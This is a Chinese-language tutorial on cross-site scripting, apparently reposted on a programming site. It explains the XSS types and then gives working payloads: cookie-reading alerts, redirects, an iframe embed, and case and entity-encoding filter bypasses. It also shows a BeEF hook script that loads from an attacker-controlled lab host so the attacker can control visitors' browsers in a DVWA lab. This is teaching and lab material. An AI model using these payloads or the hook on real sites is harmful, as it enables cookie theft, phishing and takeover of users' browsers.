安全攻击 --- XSS攻击

XSS跨站脚本攻击

(1)简介

  • OWASP TOP 10 之一,XSS被称为跨站脚本攻击(Cross-Site-Scripting)
  • 主要基于JavaScript(JS)完成攻击行为
  • XSS通过精心构造JS代码注入到网页中,并由浏览器解释运行这段代码,以达到恶意攻击的效果。用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器解析这段XSS代码,即用户被攻击了
  • 收集用于信息收入的地方,都有可能被注入XSS代码,只要没对用户输入存在严格的过滤,都可能被XSS

(2)危害

  1. 盗取各类账号,如:机器登录账号、用户网银账号、各类管理员账号
  2. 控制企业数据,如:读取、篡改、添加企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马,更多人受害
  7. 控制受害者机器向其他机器发起攻击(卖肉机)

(3)分类

<1> 反射型

  • 非持久跨站脚本攻击
  • 攻击是一次性的,仅对当次访问页面产生影响

攻击流程:

<2> 存储型

  • 持久性跨站点脚本
  • 攻击者的数据存储在服务端,攻击行为伴随攻击数据一直存在

攻击流程:

<3> DOM型

  • 既有可能是反射型,也有可能是存储型
  • 基于文档对象模型(Document Object Model,DOM)的一种漏洞

(4)产生原因

  • web应用对用户输入过滤不严谨
  • 攻击者写入恶意的脚本代码到网页中
  • 用户访问含恶意代码的网页
  • 恶意脚本被浏览器解析执行导致用户被攻击

(5)构造XSS脚本

<1> 基础

常用html标签

  • <iframe>:创建包含另一个文档的内联框架
  • <textarea>:定义多行文本输入控件
  • <img>:网页中嵌入图像
  • <script>:定义客户端脚本,比如JavaScript

script标签即可包含脚本语句,也可通过src属性指向外部脚本文件

  • type属性规定脚本类型 ---(必需)
  • JavaScript常见应用是图像操作、表单验证以及动态内容更新

常用js脚本

  • alert:用于显示带有一条指定消息和一个确认按钮的警告框
  • window.location:获取当前页面地址(URL),并将浏览器重定向到新页面
  • location.href:返回当前显示文档的完整URL
  • onload:一张页面或图像完成加载
  • onsubmit:一个按钮被点击
  • onerror:加载文档或图像发生错误

<2> 构造脚本方式

  • 弹窗警告

例1:显示弹窗 -- <script>alert("欢迎12345")</script>

例2:获取用户cookie -- <script>alert(document.cookie)</script>


  • 页面嵌套

例:<iframe style="overflow:hidden;width:520px;height:400px;positon:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;" src = "http://127.0.0.1:/dvwa-master/"></iframe>


  • 页面重定向

例1:<script>window.location="https://www.douyin.com/"</script>


例2:<script>location.href="https://www.bilibili.com/"</script>


  • 弹窗警告并且重定向

例:<script>alert("请移步到我们新站点");location.href="http://www.baidu.com/"</script>


  • 图片标签利用(图像标签有一定隐蔽性)

:<img src="#" οnerrοr="欢迎来钓鱼">

  • 访问恶意网站代码(网站种马)

(诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后通过BeEF建立恶意站点)

  • 绕开过滤脚本

[1] 大小写
:<SCript>alert('xss')</ScrIpt>

[2] 字符编码采用URL、base64、html等编码

例:采用html实体编码

<img src=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
等同于:<img src=x onerrer=”javascript:alert('XSS')”>

  • 存储型XSS演示


(每个访问页面的人都会弹出这个对话框)

(6)自动XSS攻击详解

<1> BeEF

[1] 简介:Browser Exploation Framework(BeEF)是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。BeEF是基于Ruby编写的,支持图形化界面,较为简单

http://beefproject.com/

[2] 功能

1)信息收集

  • 网络发现
  • 主机信息
  • cookie获取
  • 会话劫持
  • 键盘记录
  • 插件信息

2)持久化控制

  • 确认弹框
  • 小窗口
  • 中间人

3)社会工程

  • 点击劫持
  • 弹窗警告
  • 虚假页面
  • 钓鱼页面

4)渗透攻击

  • 内网渗透
  • Metasploit
  • CSRF攻击
  • DDOS攻击

<2> 利用beef进行XSS自动攻击

1、打开beef

2、web界面打开并登入

3、在DVWA中植入XSS脚本
DVWA清空缓存,植入<script src="http://192.168.174.131:3000/hook.js"></script>

4、其他机器访问被攻击机的DVWA页面

127.0.0.1是其他机器,192.168.174.1是被攻击机(本机访问,肉机上线)

5、社工攻击范例

命令的颜色区别:

  • 绿色对目标主机生效且不可见(不会被发现)
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机未必生效(可验证)
  • 红色对目标主机不生效

附:社工攻击

1、pretty theft攻击

2、中招页面

3、beef查看搜集信息


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/12376.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【flutter】flutter如何让app内字体大小不随着系统改变而改变

如果我们不特意设置&#xff0c;flutter开发的app他的字体大小是会跟着系统设置的字体大小而改变&#xff0c;这样就会导致页面出现布局错乱问题&#xff0c;那么如何解决这个问题呢&#xff1f;我也搜索了相关资料&#xff0c;有两个常用也是网络上搜集到比较多的方法&#xf…

vs2013 32位 编译的 dll,重新用vs2022 64位编译,所遇问题记录

目录 一、vs2013 32 DLL 转 VS2022 64 DLL 所遇问题 1、 LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1800”不匹配值“1900” 2、原先VS2013 现在 VS2022 导致的vsnprintf 重定义问题 3、 无法解析的外部符号 __vsnwprintf_s 4、无法解析的外部符号__imp__CertFreeC…

Ros终端出现找不到bash: /home/***/devel/setup.bash: 没有那个文件或目录

现象&#xff1a;Ros终端出现找不到bash: /home/***/devel/setup.bash: 没有那个文件或目录 问题&#xff1a;配置时路径写错 解决方法&#xff1a;改正路径 1.打开文件 gedit ~/.bashrc2.修改正确路径

【ruby on rails】M1遇到的一些安装问题

1. homebrew位置变了 原来的Cellar Homebrew Caskroom 都是在 /usr/local/下面 M1在/opt/homebrew下面 2. 装ruby M1电脑安装ruby&#xff0c;装不上的问题 RUBY_CFLAGS"-w" rbenv install 2.7.43. 装puma报错 gem install puma -v 5.5.2 -- --with-openssl-dir…

Kubernetes.Service—使用源 IP

使用源 IP 运行在 Kubernetes 集群中的应用程序通过 Service 抽象发现彼此并相互通信&#xff0c;它们也用 Service 与外部世界通信。 本文解释了发送到不同类型 Service 的数据包的源 IP 会发生什么情况&#xff0c;以及如何根据需要切换此行为。 准备开始 术语表 本文使用…

kotlin 编写一个简单的天气预报app(三)

使用eventbus替换broadcast 将从Broadcast切换到EventBus有以下几个好处&#xff1a; 解耦性&#xff1a;通过使用EventBus&#xff0c;您可以实现组件之间的解耦。传统的Broadcast机制需要发送方和接收方明确知道对方的存在&#xff0c;并且需要在代码中设置Intent过滤器和广…

安装Harbor

前言 Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器&#xff0c;虽然Docker官方也提供了公共的镜像仓库&#xff0c;但是从安全和效率等方面考虑&#xff0c;部署企业内部的私有环境Registry是非常必要的&#xff0c;Harbor和docker中央仓库的关系&#xff0c;…

2023牛客多校第三场 B.Auspiciousness

传送门 前题提要:没得说,赛时根本没想到dp,赛后翻各大题解看了很久,终于懂了dp的做法,故准备写一篇题解. 首先,先定义一下我们的 d p dp dp方程,考虑将处于 [ 1 , n ] [1,n] [1,n]的数当做小数,将处于 [ n 1 , 2 ∗ n ] [n1,2*n] [n1,2∗n]的数当做大数.那么对于我们的摸牌结…

CEC2022代码(Matlab代码)及多种智能优化算法求解CEC2022

一、CEC2022测试函数 CEC2022测试集共有12个单目标测试函数&#xff0c;每个测试函数可选择的维度分别为10维、20维。该测试集合也是目前高质量论文应用最广泛的测试集&#xff0c;CEC2022测试集函数复杂&#xff0c;非常具有挑战力。 CEC2022测试函数与理论最优值 二、多种智…

hcip——ospf综合

要求 1. 搭建toop 2.地址规划 协议范围路由器地址 RIP 172.16.0.0 17 R12 loop0&#xff1a;172.16.0.0 24 loop1&#xff1a;172.16.1.0 24 OSPF 172.16.128.0 17 area1 172.16.144.0 20 R1 g0:172.16.144.1 24 loop0:172.16.145.1 24 R2 g0:172.16.144.2 24 loop:172…

微信小程序:实现提示窗确定,取消执行不同操作(消息提示确认取消)showModal

效果 代码 wx.showModal({title: 提示,content: 是否确认退出,success: function (res) {if (res.confirm) {console.log(用户点击确定)} else if (res.cancel) {console.log(用户点击取消)}}})

常用css 笔记

0、定义变量 :root { --primary-color: #007bff;} .button { background-color: var(--primary-color);} 1、水平垂直居中 div {width: 100px;height: 100px;position: absolute;top: 0;right: 0;bottom: 0;left: 0;margin: auto; }父级控制子集居中 .parent {display: fle…

【广州华锐互动】VR模拟灭火逃生体验系统

VR模拟灭火逃生体验系统由广州华锐互动开发&#xff0c;是一种基于虚拟现实技术的应急演练与培训系统&#xff0c;可以真实模拟消防逃生场景&#xff0c;让体验者在沉浸式的虚拟环境中&#xff0c;根据正确的消防逃生方法提示&#xff0c;进行自救演练。这种科学普及方法是更加…

【线程安全的讨论(一)】CPU多核缓存架构和JMM

CPU多核缓存架构 一、CPU多核缓存架构可见性问题乱序执行&#xff08;指令重排&#xff09; 二、JMM——Java内存模型 一、CPU多核缓存架构 计算机的基本组成图 CPU 缓存为了提高程序运行的性能&#xff0c;现代 CPU 在很多方面会对程序进行优化。CPU 的处理速度很快&#xf…

ICMP隐蔽隧道攻击分析与检测

• ICMP隧道攻击工具特征分析 一、原理 由于ICMP报文自身可以携带数据&#xff0c;而且ICMP报文是由系统内核处理的&#xff0c;不占用任何端口&#xff0c;因此具有很高的隐蔽性。 通过改变操作系统默认填充的Data&#xff0c;替换成自己构造的数据&#xff0c;这就是ICMP隐…

simulink与遗传算法结合求解TSP问题

前言&#xff1a;刚开始入门学习simulink&#xff0c;了解了基本的模块功能后想尝试从自己熟悉的领域入手&#xff0c;自己出题使用simulink搭建模型。选择的是TSP问题的遗传算法&#xff0c;考虑如何用simulink建模思想来实现一个简单TSP问题的遗传算法。 TSP问题描述 一个配…

【深度学习】基于图形的机器学习:概述

一、说明 图神经网络&#xff08;GNN&#xff09;在数据科学和机器学习中越来越受到关注&#xff0c;但在专家圈之外仍然知之甚少。为了掌握这种令人兴奋的方法&#xff0c;我们必须从更广泛的图形机器学习&#xff08;GML&#xff09;领域开始。许多在线资源谈论GNN和GML&…

SSIS对SQL Server向Mysql数据转发表数据 (一)

开发工具 Visual Stuido 2019 、SSIS、SQL Server 2016、Mysql 8.0.30 1、配置VS2019的添加相应的功能&#xff0c;勾选SQL Server Data Tools,下载就行我用的VS2019版本还需要下载下面几个插件&#xff0c;链接我放在下面了 Microsoft Analysis Services Projects - Visual St…

CSS伪元素详解以及伪元素与伪类的区别

伪元素常常被误解为伪类&#xff0c;主要在于他们的语法相似&#xff0c;都是对于选择器功能的扩展&#xff0c;相似程度很高导致被混淆。 本文通过详细介绍伪元素和常见的使用方法&#xff0c;最后也会分析下伪元素与伪类的基本区别。 基本描述 CSS伪元素也是应用于选择器的…

无线温湿度信息收集点模块的组成和工作状态及编程与组网建议

在传感技术与物联网的不断发展下&#xff0c;无线温湿度信息收集点模块作为一种重要的终端设备&#xff0c;被广泛应用于各个领域。本文将详细介绍该模块的组成和工作状态&#xff0c;并给出编程和组网的建议。 一、组成 该无线温湿度信息收集点模块由以下几个核心组成部分构成…